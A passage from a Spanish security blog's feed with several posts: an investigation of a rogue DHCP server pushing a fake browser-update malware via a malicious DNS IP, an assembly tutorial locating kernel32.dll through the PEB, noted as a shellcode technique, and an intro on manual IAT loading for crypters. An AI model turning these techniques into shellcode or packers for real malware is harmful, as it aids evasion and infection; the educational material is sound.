0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="wireshark_yeah" border="0" alt="wireshark_yeah" src="http://lh5.ggpht.com/--58opHlhH1s/TfJ0-rcIuRI/AAAAAAAAAWM/vLJ03SAua-U/wireshark_yeah_thumb7.png?imgmax=800" width="449" height="210"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;En los dos primeros paquetes se ve como mi equipo recién conectado a la red inalámbrica solicita (DHCP Request) los datos necesarios para conectarse.&lt;/p&gt; &lt;p align="justify"&gt;A continuación responden a la solicitud (DHCP ACK) desde 2 direcciones diferentes. 192.168.100.13, la IP de un equipo de mi red y 192.168.100.254, mi router, el único que debería responder.&amp;nbsp; &lt;/p&gt; &lt;p align="justify"&gt;El primero en responder es la dirección IP 192.168.100.13, el equipo de mi red, así que es al que hace caso mi portátil. En la captura se puede ver como uno de los datos que nos da en la respuesta a la solicitud es el Domain Name Server (DNS) 188.229.88.8. Como curiosidad esa &lt;a href="http://www.maxmind.com/app/locate_demo_ip?ips=188.229.88.8"&gt;IP está en Bucarest, Rumania&lt;/a&gt;.&lt;/p&gt; &lt;p align="justify"&gt;Pero no siempre responde antes el equipo “malicioso” que el router. De hecho la mayoría de las veces responde antes el router que el equipo:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-b0oz8jRuWNs/TfJ1AMrG3YI/AAAAAAAAAWQ/a9KwKb6jq-Q/s1600-h/wireshark_dhcp_competi5.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="wireshark_dhcp_competi" border="0" alt="wireshark_dhcp_competi" src="http://lh4.ggpht.com/-XQPPCz3GmlA/TfJ1C9x6D8I/AAAAAAAAAWU/FQnTPBrIcHc/wireshark_dhcp_competi_thumb6.png?imgmax=800" width="445" height="161"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;En estas ocasiones mi equipo ignora la segunda respuesta y todo funciona correctamente.&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;¿Quién?&lt;/strong&gt;&lt;/p&gt; &lt;p align="justify"&gt;La pregunta ahora es quién de mis compañeros de piso tiene la IP 192.168.100.13, ¿la belga, los franceses, el indio o serán las polacas? ¿Y será realmente él/ella quien intenta infectarme?&lt;/p&gt; &lt;p align="justify"&gt;Usando el MAC Address Scanner de &lt;a href="http://www.oxid.it/cain.html"&gt;Cain&lt;/a&gt; se puede ver que equipos están activos en mi rango.&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-X2wR89U0k5A/TfJ1E1mbSNI/AAAAAAAAAWY/9aT4y6s5XGw/s1600-h/image5.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-66nyRVV6C5o/TfJ1Gf7FPlI/AAAAAAAAAWc/jvkElag5dbc/image_thumb6.png?imgmax=800" width="437" height="332"&gt;&lt;/a&gt;&lt;br&gt;Ahí veo que el equipo en cuestión se llama Kwasek-Komputer. El nombre de una de las polacas que vive conmigo. Por supuesto no es ella la que deliberamente intenta infectarme. Es algún tipo de malware, llamémoslo virus que por lo que se ve hace las funciones de un falso servidor DCHP para intentar expandirse por la red de area local, LAN. Tendré que instalarla un antivirus.&lt;/p&gt; &lt;p align="justify"&gt;La técnica se conoce como &lt;a href="http://en.wikipedia.org/wiki/Rogue_DHCP"&gt;Rogue DHCP&lt;/a&gt;. Ya &lt;a href="http://isc.sans.org/diary.html?storyid=6025"&gt;en 2009 hablaban&lt;/a&gt; de un malware que usaba esta técnica para expandirse por la red local. Seguro que es mas antigua aun.&lt;/p&gt; &lt;p align="justify"&gt;Buscando en google he encontrado unas cuantas páginas que hablan sobre este virus:&lt;br&gt;&lt;a href="http://malwaresurvival.net/2011/06/01/rogue-dhcp-routes-users-to-malware-attacks/"&gt;http://malwaresurvival.net/2011/06/01/rogue-dhcp-routes-users-to-malware-attacks/&lt;/a&gt;&lt;br&gt;&lt;a href="http://www.dyndnscommunity.com/questions/16870/my-router-provides-the-wrong-dns.html"&gt;http://www.dyndnscommunity.com/questions/16870/my-router-provides-the-wrong-dns.html&lt;/a&gt;&lt;br&gt;&lt;a href="http://www.bleepingcomputer.com/forums/topic402144.html"&gt;http://www.bleepingcomputer.com/forums/topic402144.html&lt;/a&gt;&lt;br&gt;&lt;a href="http://www.ryumaou.com/hoffman/netgeek/2011/05/dns-redirect-attack/"&gt;http://www.ryumaou.com/hoffman/netgeek/2011/05/dns-redirect-attack/&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;El siguiente paso sería analizar el ejecutable que se descarga, pero no se yo si lo lograré, suelen estar cifrados, ofuscados, se descargan a la vez otros ejecutables, etc…&lt;/p&gt; &lt;p align="justify"&gt;Saludos!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5376886243931567236?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5376886243931567236/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar-pero-como-y-quien.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5376886243931567236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5376886243931567236'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar-pero-como-y-quien.html' title='Me quieren infectar! Pero ¿cómo? y ¿quién?'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/--58opHlhH1s/TfJ0-rcIuRI/AAAAAAAAAWM/vLJ03SAua-U/s72-c/wireshark_yeah_thumb7.png?imgmax=800' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-4872487999979336069</id><published>2011-06-10T00:49:00.002+02:00</published><updated>2011-06-11T11:08:36.202+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Me quieren infectar!</title><content type='html'>&lt;p align="justify"&gt;Enciendo el portátil en mi casa, arranca Windows 7, se conecta a la red Wi-Fi, abro el navegador, se abre la página de inicio y ZAS:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-ZpeMn8IqJ_Y/TfFIeH1UjbI/AAAAAAAAAVg/OxtlmGZ-kIM/s1600-h/fake%25255B3%25255D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="fake" border="0" alt="fake" src="http://lh3.ggpht.com/-55rl-T_ILpE/TfFIe1vunnI/AAAAAAAAAVk/t-7zJUJwYwU/fake_thumb%25255B1%25255D.png?imgmax=800" width="453" height="344" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://www.google.es/"&gt;www.google.es&lt;/a&gt; me dice que para entrar a su página web debo actualizar el navegador. Que extraño…si Google Chrome se actualiza automáticamente, y aun así ¿www.google.es iba a mostrarme ese mensaje tan rádical “o actualizas, o no entras”? Y ese título de la página web tan cantoso: “WARNING!!!”…todo muy raro.&lt;/p&gt; &lt;p align="justify"&gt;Por curiosidad pulso el botón “Browser update” y se descarga un ejecutable de 58 kbytes llamado “&lt;a href="http://www.multiupload.com/IOTRXV8FGN"&gt;update.exe&lt;/a&gt;”, sin icono. Sería mas normal que una actualización se llamase algo como GoogleChrome_Update_11.231.exe y que el ejecutable tuviese el icono de Google Chrome, ¿no?&lt;/p&gt; &lt;p align="justify"&gt;A estas alturas ya estoy seguro de que hay gato encerrado y que ese ejecutable no es ninguna actualización de Chrome, me la quieren colar…¿Por qué!!? &lt;/p&gt; &lt;p align="justify"&gt;Pruebo a abrir otras páginas y en todas sale el mismo aviso. Lo intento con Internet Explorer y lo mismo, ¿qué demonios pasa?&lt;/p&gt; &lt;p align="justify"&gt;Hago ping a &lt;a href="http://www.google.es/"&gt;www.google.es&lt;/a&gt;:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-t3lNlcefkis/TfFN34k_sFI/AAAAAAAAAVw/NPBKJ7C3Dfc/s1600-h/ping5.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="ping" border="0" alt="ping" src="http://lh3.ggpht.com/-Pvw1fQgpS6g/TfFN4S10OEI/AAAAAAAAAV0/HrLrCF2BjIk/ping_thumb7.png?imgmax=800" width="436" height="64" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Después hago ping a &lt;a href="http://www.marca.com/"&gt;www.marca.com&lt;/a&gt; y la misma IP, todos los dominios me responden con la IP: 188.229.88.8. Abro esa IP en el navegador, &lt;a href="http://188.229.88.8/"&gt;http://188.229.88.8/&lt;/a&gt;, y veo el mismo mensaje que me salía al principio.&lt;/p&gt; &lt;p align="justify"&gt;Parece claro que el problema es que mi servidor DNS resuelve todos los dominios con esa IP. ¿Se habrá vuelto loco?&lt;/p&gt; &lt;p align="justify"&gt;Veamos que servidor DNS estoy usando: ipconfig /all&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-Aec5kUSrJq0/TfFN41D3GMI/AAAAAAAAAV4/ZZqI2P8RFd0/s1600-h/dnsvafanculo10.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="dnsvafanculo" border="0" alt="dnsvafanculo" src="http://lh4.ggpht.com/-XAQOgGsNDDM/TfFN5zUzHJI/AAAAAAAAAV8/BQtZdzUO2b0/dnsvafanculo_thumb9.png?imgmax=800" width="439" height="130" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Mi router tiene la dirección 192.168.100.254 y él mismo hace de servidor DHCP y de servidor DNS, como es normal en los router domésticos. Pero ahí me dice que el servidor DHCP es la 100.13 y el DNS es la misma IP que me salía antes al resolver cualquier dominio :S &lt;/p&gt; &lt;p align="justify"&gt;Me desconecto de la red Wi-Fi y me vuelvo a conectar (típica solución a todos los problemas informáticos, reconectar, resetear, reiniciar, etc…), vuelvo a mirar la configuración de mi tarjeta de red y sorpresa:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-tzwpgj4tK3c/TfFN6adAryI/AAAAAAAAAWA/hN3-IJAZAeM/s1600-h/dnsok4.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="dnsok" border="0" alt="dnsok" src="http://lh5.ggpht.com/-6MewWS__SJs/TfFN7DwjlDI/AAAAAAAAAWE/lV3i1rl8HDQ/dnsok_thumb5.png?imgmax=800" width="442" height="134" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Todo está perfecto. Pruebo a conectarme a algunas páginas y todo bien.&lt;/p&gt; &lt;p align="justify"&gt;Ahora que funciona internet aprovecho a subir la supuesta actualización a &lt;a href="http://www.virustotal.com/"&gt;VirusTotal&lt;/a&gt; para ver que dicen los antivirus al respecto. &lt;a href="http://www.virustotal.com/file-scan/report.html?id=2a44dbea69d83111bdc05bc1d96e815f5a0670f392050898e542bd1a9dcb82a5-1307520913"&gt;23/42 antivirus lo detectan&lt;/a&gt;, definitivamente es un malware. Aunque los antivirus no se ponene muy de acuerdo, 4 de ellos lo llaman Gen.Variant.Kazy.&lt;/p&gt; &lt;p align="justify"&gt;Pruebo a reconectarme varias veces para ver si vuelve a salir el mensaje pero nada. ¿Cómo han aparecido esos valores ahí? ¿Mi equipo está infectado? ¿El router se ha vuelto loco temporalmente? &lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar-pero-como-y-quien.html"&gt;En la siguiente entrada lo veremos&lt;/a&gt;.&lt;/p&gt; &lt;p align="justify"&gt;&lt;/p&gt; &lt;p align="justify"&gt;Pd: Como curiosidad fijaos que la estética de la página está calcada al aviso de sitios maliciosos de Firefox:&lt;/p&gt; &lt;p align="justify"&gt;&lt;img src="http://www.tuexpertoit.com/wp-content/uploads/2010/11/firefox_seguridad_filtro_web.jpg" width="446" height="218" /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-4872487999979336069?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/4872487999979336069/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar.html#comment-form' title='9 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4872487999979336069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/4872487999979336069'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar.html' title='Me quieren infectar!'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/-55rl-T_ILpE/TfFIe1vunnI/AAAAAAAAAVk/t-7zJUJwYwU/s72-c/fake_thumb%25255B1%25255D.png?imgmax=800' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-1585657890752459775</id><published>2011-05-29T22:29:00.008+02:00</published><updated>2011-05-29T22:59:24.380+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Obtener la dirección base de kernel32.dll consultando el PEB</title><content type='html'>&lt;p align="justify"&gt;En la entrada de &lt;a href="http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary_07.html"&gt;Usando GetProcAddress y LoadLibrary para localizar APIs&lt;/a&gt; vimos que una de las primeras cosas que hay que hacer es localizar la dirección de memoria donde se carga la dll kernel32.dll. Para ello se utilizaba un código que suponía que en la pila se encontraba una dirección de retorno a una función de dicha dll:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;;Obtiene la dirección base de Kernel32
ObtenerKernel32 proc
 mov eax, dword ptr [esp+0Ch];Nos quedamos con la dirección de retorno hacia la funcion createprocess
 and eax, 0FFFFF000h   ;Paginas de 1000h
searchMZ:
 sub eax, 1000h
 cmp word ptr[eax], "ZM"
 jnz searchMZ
 ret

ObtenerKernel32 endp
&lt;/pre&gt;&lt;p align="justify"&gt;Esta forma no parece muy correcta, puede que en alguna versión de Windows pasada o futura no funcione bien. Además se supone que se conoce en que posición de la pila estará el valor de retorno que comentaba, esto por ejemplo puede no saberse exactamente si el código se usa para explotar una vulnerabilidad mediante una shellcode que use ese método.&lt;/p&gt;&lt;p align="justify"&gt;Por suerte existe otra forma de obtener la dirección base de kernel32.dll.&lt;/p&gt;&lt;p align="justify"&gt;&lt;a href="http://es.wikipedia.org/wiki/Win32_Thread_Information_Block"&gt;Citando a la wikipedia&lt;/a&gt;:&lt;/p&gt;&lt;blockquote&gt; &lt;p align="justify"&gt;En computación, el &lt;b&gt;Win32 Thread Information Block&lt;/b&gt; (TIB) es una estructura de datos en los sistemas &lt;a href="http://es.wikipedia.org/wiki/Win32"&gt;Win32&lt;/a&gt; específicamente en la arquitectura &lt;a href="http://es.wikipedia.org/wiki/X86"&gt;x86&lt;/a&gt; que almacena información a cerca del thread que se esta ejecutando.  &lt;/p&gt;&lt;p align="justify"&gt;El TIB esta indocumentado oficialmente para Windows 9x.La serie Windows NT incluye una estructura NT TIB en winnt.h que lo documenta .&lt;a href="http://es.wikipedia.org/wiki/Wine_(software)"&gt;Wine&lt;/a&gt; incluye declaraciones para extender (una parte especifica del subsistema) TIB  &lt;/p&gt;&lt;p align="justify"&gt;El TIB puede ser usado para obtener buena cantidad de información en el proceso sin llamar ninguna API de Win32.Por ejemplo la emulación de GetLastError() , GetVersion(). A través del puntero en el PEB se puede obtener acceso a la tabla de importación (IAT) , los argumentos pasados al proceso etc …&lt;/p&gt;&lt;/blockquote&gt;&lt;p align="justify"&gt;La dirección de esta estructura esta apuntada por el registro FS y en la misma página de wikipedia que he comentado antes pueden verse los campos que tiene. Uno de ellos es el Process Enviroment Block, PEB. Una estructura que contiene información sobre el proceso que ejecuta el hilo:&lt;/p&gt;&lt;pre&gt;FS:[0x30] –&amp;gt; Linear address of Process Environment Block (PEB)&lt;/pre&gt;&lt;p align="justify"&gt;En &lt;a href="http://msdn.microsoft.com/en-us/library/aa813706(v=vs.85).aspx"&gt;MSDN&lt;/a&gt; podemos ver de que se compone la estructura PEB:
&lt;/p&gt;&lt;pre class="brush: cpp"&gt;typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;  //+0x0C
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;
&lt;/pre&gt;&lt;p align="justify"&gt;Mediante esta estructura podemos saber si un proceso está siendo depurado, los parámetros del proceso y lo que mas nos interesa los módulos que ha cargado el Loader de Windows. En estos módulos se encuentra el propio ejecutable y todas las DLLs que ha cargado Windows para poder ejecutarlo, entre ellas estará kernel32.dll. El campo que nos da esta información es el siguiente: &lt;/p&gt;&lt;pre&gt;PPEB_LDR_DATA  Ldr;&lt;/pre&gt;&lt;p align="justify"&gt;Que se encuentra a un desplazamiento de 0x0C desde el principio de la estructura PEB.&lt;/p&gt;&lt;p align="justify"&gt;La estructura PEB_LDR_DATA a su vez también está documentada en &lt;a href="http://msdn.microsoft.com/en-us/library/aa813708(v=vs.85).aspx"&gt;MSDN&lt;/a&gt;:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList; // +0x14
} PEB_LDR_DATA, *PPEB_LDR_DATA;&lt;/pre&gt;&lt;p align="justify"&gt;En MSDN describen esa lista cómo:&lt;/p&gt;&lt;blockquote&gt;&lt;b&gt;InMemoryOrderModuleList&lt;/b&gt;
The head of a doubly-linked list that contains the loaded modules for the process. Each item in the list is a pointer to an LDR_DATA_TABLE_ENTRY structure. For more information, see Remarks.&lt;/blockquote&gt;&lt;p align="justify"&gt;Con la siguiente estructura:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;&lt;/pre&gt;&lt;p align="justify"&gt;Y por último la tabla donde apuntan Flink y Blink:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;typedef struct _LDR_DATA_TABLE_ENTRY {
  PVOID Reserved1[2];
-&amp;gt;LIST_ENTRY InMemoryOrderLinks;
  PVOID Reserved2[2];
  PVOID DllBase; //+0x10 desde –&amp;gt;
  PVOID EntryPoint;
  PVOID Reserved3;
  UNICODE_STRING FullDllName; //+0x1C desde –&amp;gt;
  BYTE Reserved4[8];
  PVOID Reserved5[3];
  union {
    ULONG CheckSum;
    PVOID Reserved6;
  };
  ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;&lt;/pre&gt;&lt;p align="justify"&gt;Hay que fijarse que los punteros Flink y Blink de la lista doblemente enlazada no apuntan al comienzo de la estructura LDR_DATA_TABLE_ENTRY sino al campo InMemoryOrderLinks, como he marcado con la flecha –&amp;gt;. Los desplazamientos los he puestos relativos a este punto.&lt;/p&gt;&lt;p align="justify"&gt;De esta última estructura nos interesan los campos:&lt;/p&gt;&lt;pre&gt;PVOID DllBase; &lt;/pre&gt;&lt;p align="justify"&gt;Que contiene la dirección base donde se ha cargado el módulo y:&lt;/p&gt;&lt;pre&gt;UNICODE_STRING FullDllName;&lt;/pre&gt;&lt;p align="justify"&gt;Que es la ruta y nombre del módulo. El tipo UNICODE_STRING está definido también &lt;a href="http://msdn.microsoft.com/en-us/library/aa380518(v=vs.85).aspx"&gt;en MSDN&lt;/a&gt;:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;&lt;/pre&gt;&lt;p align="justify"&gt;Perfecto! Ya tenemos todo lo necesario para lograr nuestro objetivo. La idea es primero acceder al TIB, desde este localizar la estructura PEB, después acceder al valor &lt;em&gt;Ldr&lt;/em&gt; a la estructura &lt;em&gt;PPEB_LDR_DATA&lt;/em&gt;, utilizar el valor &lt;em&gt;InMemoryOrderModuleList&lt;/em&gt; para recorrer la lista mediante el puntero &lt;em&gt;Flink&lt;/em&gt;(Follow link) y en cada tabla &lt;em&gt;LDR_DATA_TABLE&lt;/em&gt; ver si corresponde al módulo kernel32.dll comparando con el campo &lt;em&gt;FullDllName&lt;/em&gt;, si no es así ir a la siguiente tabla, si sí que corresponde con kernel32.dll quedarnos con la dirección base &lt;em&gt;DllBase&lt;/em&gt; que es lo que buscamos.&lt;/p&gt;&lt;p align="justify"&gt;A continuación dejo el código en ensamblador que realiza todas estas tareas. Para hacerlo lo mas genérico he comparado el nombre del módulo con kernel32.dll de forma que no sea sensible a minúsculas o mayúsculas lo que hace un poco mas largo el código:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;.386
.model flat, stdcall
option casemap:none
assume fs:nothing

.data
 Kernel32Name db 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0
 Kernel32NameLength dw 24
.code
codigo:
 call ObtenerKernel32PEB
 ret

;Obtiene la dirección de memoria donde se encuentra cargada kernel32.dll y la guarda en eax
ObtenerKernel32PEB proc
 mov eax, [fs:30h]    ;PEB
 mov eax, [eax+0Ch]    ;PEB.Ldr, Loader data
 add eax, 14h     ;PEB.Ldr.InMemoryOrderModuleList.Flink, Puntero al primer modulo
NextTable:
 mov eax, [eax]      ;Nos movemos a la siguiente tabla LDR_DATA_TABLE_ENTRY
 mov ecx, 0
 mov esi, offset [Kernel32Name] ;En esi guardamos la dirección del nombre kernel32.dll en unicode
 mov cx, word ptr [eax+1Ch]  ;LDR_DATA_TABLE_ENTRY.FullDllName.Length, longitud de la cadena unicode
 mov edi, [eax+20h]    ;LDR_DATA_TABLE_ENTRY.FullDllName.Buffer, puntero a la cadena unicode con el nombre del módulo
 ;No nos interesa la ruta entera solo los últimos caracteres, el nombre del fichero
 add di, cx      ;Nos situamos al final de la cadena
 sub di, Kernel32NameLength  ;Y restamos el tamaño de la cadena a comparar
 mov cx, Kernel32NameLength
ComparaCadenas:
 mov bl, byte ptr [edi]
 cmp bl, 'a'      ;Si bl &amp;gt;= 'a' convertir a mayusculas
 jb Mayuscula
 sub bl, 20h      ;Pasa de minusculas a mayusculas
Mayuscula:
 cmp bl, byte ptr[esi]
 jnz NextTable     ;Si no es kernel32.dll mirar en la siguiente tabla
 inc edi
 inc esi
 dec cx
 jnz ComparaCadenas
 ;Si llega aquí es que la cadena era kernel32.dll, cogemos el dato que nos interesa del modulo
 mov eax, [eax+10h]    ;eax = LDR_DATA_TABLE_ENTRY.DllBase
 ret
 
ObtenerKernel32PEB endp

end codigo
&lt;/pre&gt;&lt;p align="justify"&gt;Es bastante lioso manejar tantas estructuras y entender el código en ensamblador, lo mejor para entenderlo es seguirlo poco a poco con un depurador, ver las estructuras en memoria y muuucha paciencia.&lt;/p&gt;&lt;p&gt;Y así obtendríamos la dirección de memoria donde está cargada la librería kernel32.dll, ahora ya podríamos seguir con el proceso que realizábamos en &lt;a href="http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary_07.html"&gt;la otra entrada de buscar las funciones GetProcAddress y LoadLibrary&lt;/a&gt;.&lt;/p&gt;&lt;p align="justify"&gt;Aquí dejo &lt;a href="http://www.lordrna.co.cc/2011/01/obteniendo-la-direccion-de-kernel32.html"&gt;una entrada de LordRNA&lt;/a&gt; donde hace lo mismo de forma muy similar Gracias a &lt;a href="https://twitter.com/#!/the_swash"&gt;@The_Swash&lt;/a&gt; también por su solución al mismo problema.&lt;/p&gt;&lt;p align="justify"&gt;Un saludo!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-1585657890752459775?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/1585657890752459775/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/obtener-la-direccion-base-de.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1585657890752459775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1585657890752459775'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/05/obtener-la-direccion-base-de.html' title='Obtener la dirección base de kernel32.dll consultando el PEB'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2696371819232935097</id><published>2011-05-22T23:02:00.002+02:00</published><updated>2011-08-12T01:22:27.716+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypter'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Cargando funciones importadas manualmente</title><content type='html'>&lt;div align="justify"&gt;&lt;a href="https://twitter.com/#!/the_swash"&gt;@The_Swash&lt;/a&gt; no para quieto. Acaba de terminar &lt;a href="http://www.multiupload.com/JWYE7ACA6I"&gt;&lt;strong&gt;este documento&lt;/strong&gt;&lt;/a&gt; donde explica como rellenar la IAT desde código ensamblador. Muy útil para hacer que un protector de ejecutables que cifre la Import Table y después en ejecución se descifre y rellene la IAT para que el programa funcione correctamente. Dejo a continuación la introducción que ha escrito &lt;a href="https://twitter.com/#!/the_swash"&gt;@The_Swash&lt;/a&gt;:&lt;/div&gt;&lt;blockquote&gt;&lt;div align="justify"&gt;Hola, aquí estoy escribiendo otro artículo que he estado preparando desde el día en el que publiqué el anterior o por lo menos la base.&lt;/div&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;div align="justify"&gt;En este artículo intentaré mostrarles como cargar las funciones que importamos&amp;nbsp;manualmente, es decir no participará ni dependeremos del sistema operativo.&lt;br /&gt;
¿Con que fin cargamos las funciones manualmente?&lt;br /&gt;
Bueno, en realidad tengo 2 objetivos y son:&lt;/div&gt;&lt;ol&gt;&lt;li&gt; &lt;div align="justify"&gt;Mostrar como Windows carga las direcciones de las funciones (API) que importamos.&lt;/div&gt;&lt;/li&gt;
&lt;li&gt; &lt;div align="justify"&gt;Una vez conociendo como funciona, podremos relacionarlo con Empaquetadores y &lt;br /&gt;
cifradores de archivos.&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div align="justify"&gt;Como todo necesitaremos conocer un poco de lo que trataremos claro teniendo algunas nociones sobre el formato portable executable (PE) y posteriormente dejaré un código que se &lt;br /&gt;
encarga de hacer esta tarea, en realidad la base de todo esto es el código porque a mano sería &lt;br /&gt;
